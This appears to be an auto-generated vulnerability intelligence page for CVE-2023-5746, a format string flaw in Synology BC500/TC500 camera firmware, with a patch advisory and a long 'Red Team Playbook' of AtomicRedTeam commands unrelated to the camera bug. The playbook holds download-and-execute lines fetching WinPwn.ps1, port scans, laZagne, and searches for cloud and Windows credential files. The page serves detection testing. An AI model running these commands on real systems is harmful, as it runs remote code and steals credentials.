CVE-2023-5746
Overview
This vulnerability is a format string flaw (CWE-134) in the CGI component of Synology Camera Firmware. It arises from improper handling of externally-controlled format strings, allowing crafted input to influence the format specifiers processed by the affected function. The flaw specifically impacts the firmware components within Synology BC500 and TC500 camera models prior to version 1.0.5-0185.
Vulnerability Description
A vulnerability regarding use of externally-controlled format string is found in the cgi component. This allows remote attackers to execute arbitrary code via unspecified vectors. The following models with Synology Camera Firmware versions before 1.0.5-0185 may be affected: BC500 and TC500.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary code on affected Synology BC500 and TC500 cameras. This can lead to full system compromise, including unauthorized control of device functionality and potential lateral movement within the network. The attack requires no user interaction and leverages network access to the CGI interface, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The impact includes confidentiality, integrity, and availability breaches of the camera systems.
Solution
Synology has released firmware version 1.0.5-0185 and later for BC500 and TC500 models to address this vulnerability. Users should upgrade affected devices to this version or newer as detailed in Synology Security Advisory Synology_SA_23_11 (https://www.synology.com/en-global/security/advisory/Synology_SA_23_11). The advisory provides step-by-step instructions for updating the firmware to mitigate the issue. No alternative workarounds are specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability concerning the use of externally-controlled format strings in the CGI component of specific Synology Camera Firmware versions presents a significant security risk. This flaw allows remote attackers to manipulate the format string used in the application, potentially leading to arbitrary code execution. The vulnerability arises from inadequate validation of user input, which can be exploited to inject malicious code into the application’s execution context. The affected models, BC500 and TC500, are particularly vulnerable due to their reliance on CGI scripts that process user input without sufficient sanitization, making them prime targets for exploitation.
Attack vectors for this vulnerability are diverse and can be executed through various means, including crafted HTTP requests or other forms of input that interact with the CGI component. An attacker could exploit this flaw by sending specially crafted requests that include malicious format strings, which the application would then process. This could lead to the execution of arbitrary code on the device, allowing the attacker to gain control over the camera, exfiltrate sensitive data, or even pivot to other devices on the network. The exploitation scenarios could range from localized attacks within a corporate network to broader attacks targeting devices connected to the internet, making it a versatile threat.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on these camera models for surveillance and security purposes. If exploited, an attacker could not only compromise the integrity of the camera feeds but also gain unauthorized access to sensitive information captured by the devices. This could lead to severe business risks, including loss of customer trust, regulatory penalties, and potential legal liabilities. Furthermore, the ability to execute arbitrary code could enable attackers to leverage the compromised devices as entry points into larger network infrastructures, amplifying the threat and potential damage.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches to address known vulnerabilities. Network segmentation can also limit the exposure of these devices to untrusted networks, reducing the risk of exploitation. Additionally, employing intrusion detection systems that monitor for unusual patterns of behavior or anomalous requests can help identify potential exploitation attempts. Organizations should also consider conducting regular security assessments and penetration testing to evaluate their defenses against such vulnerabilities.
In conclusion, the vulnerability related to externally-controlled format strings in the CGI component of specific Synology Camera Firmware versions poses a critical threat to both individual devices and the broader network environment. The potential for arbitrary code execution highlights the importance of robust input validation and the need for timely updates to firmware. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities, ultimately safeguarding their operational integrity and customer trust.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synology | Bc500 Firmware | All |
cpe:2.3:o:synology:bc500_firmware:*:*:*:*:*:*:*:*
|
|
|
Synology | Tc500 Firmware | All |
cpe:2.3:o:synology:tc500_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-135 | Format String Injection |
51%
|
High | High | |
| CAPEC-67 | String Format Overflow in syslog() |
35%
|
High | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-5746 |
| synology.com |
GitHub CVE
vendor-advisory
|
https://www.synology.com/en-global/security/advisory/Synology_SA_23_11 |